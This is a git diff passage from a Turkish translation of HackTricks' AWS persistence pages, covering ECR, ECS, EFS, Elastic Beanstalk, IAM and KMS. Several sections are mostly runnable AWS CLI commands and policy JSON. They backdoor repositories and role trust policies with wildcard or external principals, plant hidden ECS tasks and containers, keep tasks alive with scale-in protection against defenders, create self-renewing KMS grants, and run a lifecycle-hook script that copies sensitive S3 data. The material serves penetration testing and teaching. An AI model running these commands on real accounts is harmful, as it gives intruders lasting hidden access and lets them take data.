AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir. - -### Depo Politikası - -Kendinize (veya herkese) bir depoya erişim izni veren bir politika ekleyin: -```bash -aws ecr set-repository-policy \ ---repository-name cluster-autoscaler \ ---policy-text file:///tmp/my-policy.json - -# With a .json such as - -{ -"Version" : "2008-10-17", -"Statement" : [ -{ -"Sid" : "allow public pull", -"Effect" : "Allow", -"Principal" : "*", -"Action" : [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -> [!WARNING] -> ECR'nin, kullanıcıların bir kayıt defterine kimlik doğrulaması yapabilmeleri ve herhangi bir Amazon ECR deposundan görüntüleri itip çekebilmeleri için **`ecr:GetAuthorizationToken`** API'sine çağrılar yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın. - -### Kayıt Defteri Politikası ve Hesaplar Arası Çoğaltma - -Hesaplar arası çoğaltmayı yapılandırarak, bir kayıt defterini harici bir hesapta otomatik olarak çoğaltmak mümkündür; burada kayıt defterini çoğaltmak istediğiniz **harici hesabı** belirtmeniz gerekir. - -
- -Öncelikle, harici hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir: -```bash -aws ecr put-registry-policy --policy-text file://my-policy.json - -# With a .json like: - -{ -"Sid": "asdasd", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::947247140022:root" -}, -"Action": [ -"ecr:CreateRepository", -"ecr:ReplicateImage" -], -"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" -} -``` -Sonra çoğaltma yapılandırmasını uygulayın: -```bash -aws ecr put-replication-configuration \ ---replication-configuration file://replication-settings.json \ ---region us-west-2 - -# Having the .json a content such as: -{ -"rules": [{ -"destinations": [{ -"region": "destination_region", -"registryId": "destination_accountId" -}], -"repositoryFilters": [{ -"filter": "repository_prefix_name", -"filterType": "PREFIX_MATCH" -}] -}] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md new file mode 100644 index 000000000..ee17d7fd0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md @@ -0,0 +1,145 @@ +# AWS - ECR Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Daha fazla bilgi için bakın: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Hidden Docker Image with Malicious Code + +Bir attacker, kötü amaçlı kod içeren bir Docker image'ı bir ECR repository'sine upload edebilir ve bunu hedef AWS hesabında persistence sağlamak için kullanabilir. Attacker daha sonra bu kötü amaçlı image'ı hesap içindeki Amazon ECS veya EKS gibi çeşitli servislere gizli bir şekilde deploy edebilir. + +### Repository Policy + +Tek bir repository'ye kendinize (veya herkese) erişim veren bir policy ekleyin: +```bash +aws ecr set-repository-policy \ +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json + +# With a .json such as + +{ +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +> [!WARNING] +> ECR, kullanıcıların bir kayıt defterine **kimlik doğrulaması yapabilmeden önce** ve herhangi bir Amazon ECR deposundan görüntüleri push veya pull edebilmeden önce IAM politikası aracılığıyla **`ecr:GetAuthorizationToken`** API'sini çağırma **iznine** sahip olmalarını gerektirir. + +### Kayıt Defteri Politikası & Hesaplar Arası Replikasyon + +Hesaplar arası replikasyonu yapılandırarak, kayıt defterinin başka bir hesaba otomatik olarak çoğaltılmasını sağlayabilirsiniz; bu durumda kayıt defterini çoğaltmak istediğiniz **dış hesabı belirtmeniz** gerekir. + +
+ +Önce, dış hesaba kayıt defteri üzerinde aşağıdaki gibi bir **kayıt defteri politikası** ile erişim vermeniz gerekir: +```bash +aws ecr put-registry-policy --policy-text file://my-policy.json + +# With a .json like: + +{ +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +} +``` +Ardından çoğaltma yapılandırmasını uygulayın: +```bash +aws ecr put-replication-configuration \ +--replication-configuration file://replication-settings.json \ +--region us-west-2 + +# Having the .json a content such as: +{ +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] +} +``` +### Repository Creation Templates (gelecekteki repolar için prefix backdoor) + +Kontrollü bir prefix altında ECR tarafından otomatik oluşturulan herhangi bir repository'yi (örneğin Pull-Through Cache veya Create-on-Push ile) otomatik olarak backdoor eklemek için ECR Repository Creation Templates'i suistimal edin. Bu, mevcut repolara dokunmadan gelecekteki repolara kalıcı yetkisiz erişim sağlar. + +- Gerekli izinler: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (template tarafından kullanılır), iam:PassRole (şablona özel bir role eklenmişse). +- Etki: Hedeflenen prefix altında oluşturulan her yeni repository, otomatik olarak saldırgan tarafından kontrol edilen bir repository policy'sini (ör. hesaplar arası okuma/yazma), tag mutability ve scanning varsayılanlarını devralır. + +
+Seçilen bir prefix altında gelecekte PTC tarafından oluşturulan repoları backdoor'lama +```bash +# Region +REGION=us-east-1 + +# 1) Prepare permissive repository policy (example grants everyone RW) +cat > /tmp/repo_backdoor_policy.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BackdoorRW", +"Effect": "Allow", +"Principal": {"AWS": "*"}, +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer", +"ecr:InitiateLayerUpload", +"ecr:UploadLayerPart", +"ecr:CompleteLayerUpload", +"ecr:PutImage" +] +} +] +} +JSON + +# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE +aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json + +# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix +# This example caches from Amazon ECR Public namespace "nginx" +aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx + +# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx) +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com + +docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest + +# 5) Validate the backdoor policy was applied on the newly created repository +aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq . +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md deleted file mode 100644 index 1f251de53..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ /dev/null @@ -1,93 +0,0 @@ -# AWS - ECS Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Gizli Periyodik ECS Görevi - -> [!NOTE] -> TODO: Test - -Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an Amazon EventBridge rule to trigger the task periodically -aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" - -# Add a target to the rule to run the malicious ECS task -aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ -{ -"Id": "malicious-ecs-task-target", -"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", -"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", -"EcsParameters": { -"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", -"TaskCount": 1 -} -} -]' -``` -### Mevcut ECS Görev Tanımında Arka Kapı Konteyneri - -> [!NOTE] -> TODO: Test - -Bir saldırgan, meşru konteynerlerle birlikte çalışan mevcut bir ECS görev tanımına **gizli bir arka kapı konteyneri** ekleyebilir. Arka kapı konteyneri, kalıcılık sağlamak ve kötü niyetli faaliyetler gerçekleştirmek için kullanılabilir. -```bash -# Update the existing task definition to include the backdoor container -aws ecs register-task-definition --family "existing-task" --container-definitions '[ -{ -"name": "legitimate-container", -"image": "legitimate-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -}, -{ -"name": "backdoor-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": false -} -]' -``` -### Belgesiz ECS Servisi - -> [!NOTE] -> TODO: Test - -Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. İstenen görev sayısını en aza indirerek ve günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi daha zor hale gelir. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an undocumented ECS service with the malicious task definition -aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md new file mode 100644 index 000000000..bd8afdc95 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md @@ -0,0 +1,152 @@ +# AWS - ECS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Daha fazla bilgi için şu kaynağa bakın: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Hidden Periodic ECS Task + +> [!NOTE] +> TODO: Test + +Bir saldırgan, Amazon EventBridge kullanarak gizli bir periyodik ECS task oluşturabilir ve **kötü amaçlı bir görevin periyodik olarak çalıştırılmasını planlayabilir**. Bu görev reconnaissance gerçekleştirebilir, exfiltrate data yapabilir veya AWS hesabında persistence sağlayabilir. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an Amazon EventBridge rule to trigger the task periodically +aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" + +# Add a target to the rule to run the malicious ECS task +aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} +]' +``` +### Mevcut ECS task definition içinde Backdoor Container + +> [!NOTE] +> TODO: Test + +Bir saldırgan, meşru container'larla birlikte çalışan mevcut bir ECS task definition'a **stealthy backdoor container** ekleyebilir. Bu backdoor container persistence ve zararlı faaliyetler gerçekleştirmek için kullanılabilir. +```bash +# Update the existing task definition to include the backdoor container +aws ecs register-task-definition --family "existing-task" --container-definitions '[ +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} +]' +``` +### Belgelenmemiş ECS Servisi + +> [!NOTE] +> Yapılacak: Test + +Bir saldırgan kötü amaçlı bir task çalıştıran bir **belgelenmemiş ECS servisi** oluşturabilir. İstenen task sayısını minimuma ayarlayarak ve logging'i devre dışı bırakarak, yöneticilerin kötü amaçlı servisi fark etmesini zorlaştırır. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an undocumented ECS service with the malicious task definition +aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" +``` +### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection) + +ecs:UpdateTaskProtection'ı istismar ederek service tasks'ın scale‑in olayları ve kademeli dağıtımlar tarafından durdurulmasını engelleyin. Korumayı sürekli uzatarak, bir saldırgan uzun süre çalışan bir task'ı (C2 veya veri toplama için) çalışır durumda tutabilir; savunucular desiredCount'ı düşürse veya yeni task revisions gönderse/uygulasa bile. + +Steps to reproduce in us-east-1: +```bash +# 1) Cluster (create if missing) +CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null) +[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text) + +# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc) +cat > /tmp/ht-persist-td.json << 'JSON' +{ +"family": "ht-persist", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"containerDefinitions": [ +{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest", +"command": ["/bin/sh","-c","sleep 864000"]} +] +} +JSON +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null + +# 3) Create service (use default VPC public subnet + default SG) +VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text) +SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text) +SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text) +aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \ +--task-definition ht-persist --desired-count 1 --launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}" + +# 4) Get running task ARN +TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text) + +# 5) Enable scale-in protection for 24h and verify +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440 +aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK" + +# 6) Try to scale service to 0 (task should persist) +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 +aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING + +# Optional: rolling deployment blocked by protection +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment +aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]' + +# 7) Cleanup +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true +aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true +aws ecs deregister-task-definition --task-definition ht-persist || true +``` +Etkisi: Korumalı bir task desiredCount=0 olmasına rağmen RUNNING durumda kalır ve yeni dağıtımlar sırasında yer değiştirmeleri engeller; bu, ECS service içinde gizli, uzun süreli bir kalıcılık sağlar. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md deleted file mode 100644 index c5022050f..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - EFS Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### Kaynak Politikasını / Güvenlik Gruplarını Değiştir - -**Kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz. - -### Erişim Noktası Oluştur - -**Erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), bu erişim noktası, dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md new file mode 100644 index 000000000..1a06f845a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - EFS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### Resource Policy / Security Groups'i Değiştir + +**resource policy and/or security groups**'ü değiştirerek dosya sistemi üzerindeki erişiminizi sürdürmeyi deneyebilirsiniz. + +### Access Point Oluştur + +Dosya sistemi üzerinde ayrıcalıklı erişimi korumak için, **other persistence** uyguladığınız bir servisten erişilebilen **create an access point** (with root access to `/`) oluşturabilirsiniz. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md index 9cf80ccd4..a3ee096a3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md @@ -1,35 +1,35 @@ -# AWS - Elastic Beanstalk Sürekliliği +# AWS - Elastic Beanstalk Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -Daha fazla bilgi için kontrol edin: +For more information check: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Instance'da Süreklilik +### Persistence in Instance -AWS hesabında sürekliliği sağlamak için, **instance içinde bazı süreklilik mekanizmaları tanıtılabilir** (cron işi, ssh anahtarı...) böylece saldırgan erişim sağlayabilir ve IAM rolü **kimlik bilgilerini metadata hizmetinden** çalabilir. +AWS hesabı içinde persistence sağlamak için bazı **persistence mekanizmaları instance içine yerleştirilebilir** (cron job, ssh key...) böylece saldırgan buna erişip IAM rolünün **metadata service'den kimlik bilgilerini** çalabilir. -### Versiyonda Arka Kapı +### Backdoor in Version -Bir saldırgan, S3 deposundaki kodu arka kapı ile değiştirebilir, böylece her zaman arka kapısını ve beklenen kodu çalıştırır. +Bir saldırgan S3 repo içindeki koda backdoor ekleyebilir; böylece kod her zaman backdoor'unu ve beklenen kodu çalıştırır. -### Yeni Arka Kapılı Versiyon +### New backdoored version -Saldırgan, mevcut versiyondaki kodu değiştirmek yerine, uygulamanın yeni bir arka kapılı versiyonunu dağıtabilir. +Mevcut versiyondaki kodu değiştirmek yerine, saldırgan uygulamanın yeni bir backdoored versiyonunu deploy edebilir. -### Özel Kaynak Yaşam Döngüsü Kancalarının Suistimali +### Abusing Custom Resource Lifecycle Hooks > [!NOTE] > TODO: Test -Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri dışa aktarmak için periyodik olarak bir betik çalıştıracak şekilde bir yaşam döngüsü kancası yapılandırabilir**. +Elastic Beanstalk, instance provisioning ve termination sırasında custom script'lerin çalıştırılmasına izin veren lifecycle hooks sağlar. Bir saldırgan **periyodik olarak veri exfiltrates eden veya AWS hesabına erişimi sürdüren bir script'i çalıştıracak şekilde bir lifecycle hook yapılandırabilir**. ```bash -bashCopy code# Attacker creates a script that exfiltrates data and maintains access +# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv gzip /tmp/data.csv @@ -72,4 +72,4 @@ Fn::GetAtt: # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md deleted file mode 100644 index 85f519dce..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ /dev/null @@ -1,47 +0,0 @@ -# AWS - IAM Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Daha fazla bilgi için erişim: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### Yaygın IAM Sürekliliği - -- Bir kullanıcı oluştur -- Kontrol edilen bir kullanıcıyı ayrıcalıklı bir gruba ekle -- Erişim anahtarları oluştur (yeni kullanıcının veya tüm kullanıcıların) -- Kontrol edilen kullanıcılara/gruplara ek izinler ver (ekli politikalar veya satır içi politikalar) -- MFA'yı devre dışı bırak / Kendi MFA cihazını ekle -- Bir Rol Zinciri Jonglör durumu oluştur (bununla ilgili daha fazla bilgi aşağıda STS sürekliliğinde) - -### Arka Kapı Rol Güven Politikaları - -Bir güven politikasını arka kapı ile kontrol ettiğiniz bir dış kaynak için üstlenebilmek amacıyla değiştirebilirsiniz (veya herkes için): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": ["*", "arn:aws:iam::123213123123:root"] -}, -"Action": "sts:AssumeRole" -} -] -} -``` -### Arka Kapı Politikası Versiyonu - -Bir politikaya son versiyonu olmayan Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın. - -### Arka Kapı / Kimlik Sağlayıcı Oluştur - -Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md new file mode 100644 index 000000000..a84727b65 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - IAM Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### Common IAM Persistence + +- Bir kullanıcı oluşturun +- Kontrol ettiğiniz bir kullanıcıyı ayrıcalıklı bir gruba ekleyin +- Erişim anahtarları oluşturun (yeni kullanıcı için veya tüm kullanıcılar için) +- Kontrol ettiğiniz kullanıcılar/gruplara ekstra izinler verin (attached policies or inline policies) +- MFA'yı devre dışı bırakın / Kendi MFA cihazınızı ekleyin +- Role Chain Juggling durumu oluşturun (aşağıda STS persistence bölümünde daha fazlası) + +### Backdoor Role Trust Policies + +Kontrolünüzdeki harici bir kaynak için (veya herkese) onu assume edebilmek amacıyla bir trust policy'yi backdoor'layabilirsiniz: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] +} +``` +### Backdoor Policy Version + +Bir policy'nin son sürümü olmayan bir versiyonuna Administrator izinleri verin (son sürüm meşru görünmelidir), ardından o policy versiyonunu kontrol edilen bir kullanıcı/gruba atayın. + +### Backdoor / Create Identity Provider + +Hesap zaten yaygın bir identity provider'a (ör. Github) güveniyorsa, güvene ilişkin koşullar genişletilerek saldırganın bunları suistimal etmesi sağlanabilir. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md deleted file mode 100644 index a222ba9c4..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - KMS Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### KMS politikaları aracılığıyla erişim verme - -Bir saldırgan, **`kms:PutKeyPolicy`** iznini kullanarak bir anahtara kontrolü altındaki bir kullanıcıya veya hatta bir dış hesaba **erişim verebilir**. Daha fazla bilgi için [**KMS Privesc sayfasını**](../aws-privilege-escalation/aws-kms-privesc.md) kontrol edin. - -### Sonsuz İzin - -İzinler, bir anahtar üzerinde bir prensibe bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Dahası, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olabilir. - -Bu nedenle, bir kullanıcının tüm izinlere sahip 10 izni olması mümkündür. Saldırgan bunun sürekli olarak izlenmesi gerektiğini bilmelidir. Ve eğer bir noktada 1 izin kaldırılırsa, başka 10 izin oluşturulmalıdır. - -(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahipken bir iznin kaldırıldığını tespit edebilmek için.) -```bash -# To generate grants, generate 10 like this one -aws kms create-grant \ ---key-id \ ---grantee-principal \ ---operations "CreateGrant" "Decrypt" - -# To monitor grants -aws kms list-grants --key-id -``` -> [!NOTE] -> Bir grant yalnızca şunlardan izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md new file mode 100644 index 000000000..bb5ab3ce1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md @@ -0,0 +1,37 @@ +# AWS - KMS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### KMS politikaları aracılığıyla Grant erişimi + +Bir saldırgan **`kms:PutKeyPolicy`** iznini kullanarak, kontrolü altındaki bir kullanıcıya veya hatta harici bir hesaba bir key'e **erişim verebilir**. Daha fazla bilgi için [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) sayfasına bakın. + +### Eternal Grant + +Grant'lar, belirli bir key üzerinde bir principal'e bazı izinler vermenin başka bir yoludur. Bir kullanıcıya grant oluşturma izni veren bir grant vermek mümkündür. Dahası, bir kullanıcının aynı key üzerinde birden fazla (hatta aynı) grant'i olabilir. + +Bu nedenle, bir kullanıcının tüm izinlere sahip 10 grant'e sahip olması mümkündür. Saldırgan bunu sürekli izlemelidir. Ve eğer bir noktada 1 grant kaldırılırsa başka 10 tane oluşturulmalıdır. + +(10'u, kullanıcının hâlâ bazı grant'lere sahipken bir grant'in kaldırıldığını tespit edebilmek için 2 yerine kullanıyoruz) +```bash +# To generate grants, generate 10 like this one +aws kms create-grant \ +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" + +# To monitor grants +aws kms list-grants --key-id +``` +> [!NOTE] +> Bir grant yalnızca şuradan izinler verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git 